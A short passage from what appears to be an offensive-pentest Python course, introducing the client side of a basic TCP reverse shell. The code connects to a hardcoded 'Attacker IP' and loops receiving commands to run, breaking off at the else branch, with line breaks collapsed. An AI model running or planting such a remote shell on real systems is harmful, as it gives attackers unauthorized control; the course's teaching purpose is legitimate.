Now, let's look into the client side script:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# Basic TCP Clientimport socket # For Building TCP Connectionimport subprocess # To start the shell in the systemdef connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # start a socket object 's' s.connect(('10.0.2.15', 8080)) # Here we define the Attacker IP and the listening port while True: # keep receiving commands from the Kali machine command = s.recv(1024) # read the first KB of the tcp socket if 'terminate' in command: # if we got terminate order from the attacker, close the socket and break the loop s.close() break else: ...